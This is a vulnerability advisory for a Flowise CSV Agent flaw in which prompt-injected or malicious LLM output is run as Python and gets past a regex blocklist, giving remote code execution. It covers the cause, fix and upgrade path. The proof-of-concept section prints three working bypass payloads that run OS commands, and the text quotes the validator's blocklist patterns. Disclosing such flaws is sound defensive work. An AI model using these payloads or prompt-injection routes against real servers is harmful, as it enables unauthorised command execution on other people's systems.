CVE-2026-70477: Flowise CSV Agent Prompt Injection Remote Code Execution
An unauthenticated attacker can send a crafted prompt to any Flowise chatflow using the CSV Agent node and cause it to execute arbitrary OS commands on the server, because LLM-generated Python code…

The problem
Flowise's CSV Agent node passes user-controlled input directly into an LLM system prompt, then evaluates the LLM response as Python code inside Pyodide. The validator (validatePythonCodeForDataFrame) uses a static regex blocklist that can be defeated with well-known obfuscation tricks.
Pyodide has full access to the host OS, so any Python that slips past the blocklist runs with the same privileges as the Node.js server process. Authentication is not required: the prediction endpoint is publicly reachable by default.
Proof of concept
A working proof-of-concept for CVE-2026-70477 in flowise, with the exact payload below.
# Variant 0: @exec decorator + string-concatenated __import__ (bypasses /\bexec\s*\(/ and /\b__import__\s*\(/)
# Inject this as the LLM response (e.g. via a malicious ChatOllama server or prompt injection)
@(__builtins__.__dict__['ex'+'ec'])
def _():
pass
_(
(__builtins__.__dict__['__im'+'port__']('os')
.popen('id').read())
)
# Variant 1: eval aliased to variable, payload chr()-encoded (bypasses /\beval\s*\(/ and /\bimport\b/)
_e = getattr(__builtins__, chr(101)+chr(118)+chr(97)+chr(108))
_e(
'__im' + 'port__(chr(111)+chr(115)).popen("id").read()'
)
# Variant 6: __build_class__.__self__.__getattribute__ (bypasses /\b__import__\s*\(/)
_imp = (0 .__class__.__mro__[-1]
.__subclasses__()[84] # adjust index to BuiltinImporter at runtime
.load_module('os'))
print(_imp.popen('id').read())The root cause is a classic blocklist-vs-allowlist mistake. validatePythonCodeForDataFrame matches forbidden identifiers by pattern (e.g. /\bexec\s*\(/, /\b__import__\s*\(/) but Python's dynamic attribute lookup offers many detour paths: string concatenation at runtime, chr() encoding, getattr, __getattribute__, MRO traversal, frame inspection, and decorator syntax, none of which match the static patterns.
The fix in 3.1.3 (PR #6499, commit f4e2794) abandons the blocklist approach entirely. It disallows all import operations in CSV Agent-generated code, eliminating the primitive needed to reach os or any other dangerous module. This is a narrower allowlist model rather than a deny-everything-dangerous model.
CWE-94 (Code Injection) applies because untrusted data controls what code is generated and then executed without an adequate trust boundary between the LLM response and the interpreter.
The fix
Upgrade to Flowise 3.1.3 (npm install flowise@3.1.3). The patch (PR #6499) rewrites the validator to reject any code containing import statements, rather than trying to enumerate dangerous constructs. If you cannot upgrade immediately, disable or remove CSV Agent nodes from all public-facing chatflows.
Reported by Dre Cura (@dre_cura), TrendAI Research (Trend Micro Zero Day Initiative).
Related research
- criticalCVE-2026-69264CVE-2026-69264: Flowise CSVAgent Pyodide Code Injection RCE
- criticalCVE-2026-69259CVE-2026-69259: Flowise SQLite Record Manager Authenticated RCE via Arbitrary File Write
- criticalCVE-2026-69254CVE-2026-69254: Flowise RCE via NodeVM Sandbox Escape in executeJavaScriptCode()
- highCVE-2026-70475CVE-2026-70475: Flowise Missing Authorization on Execution Update Endpoint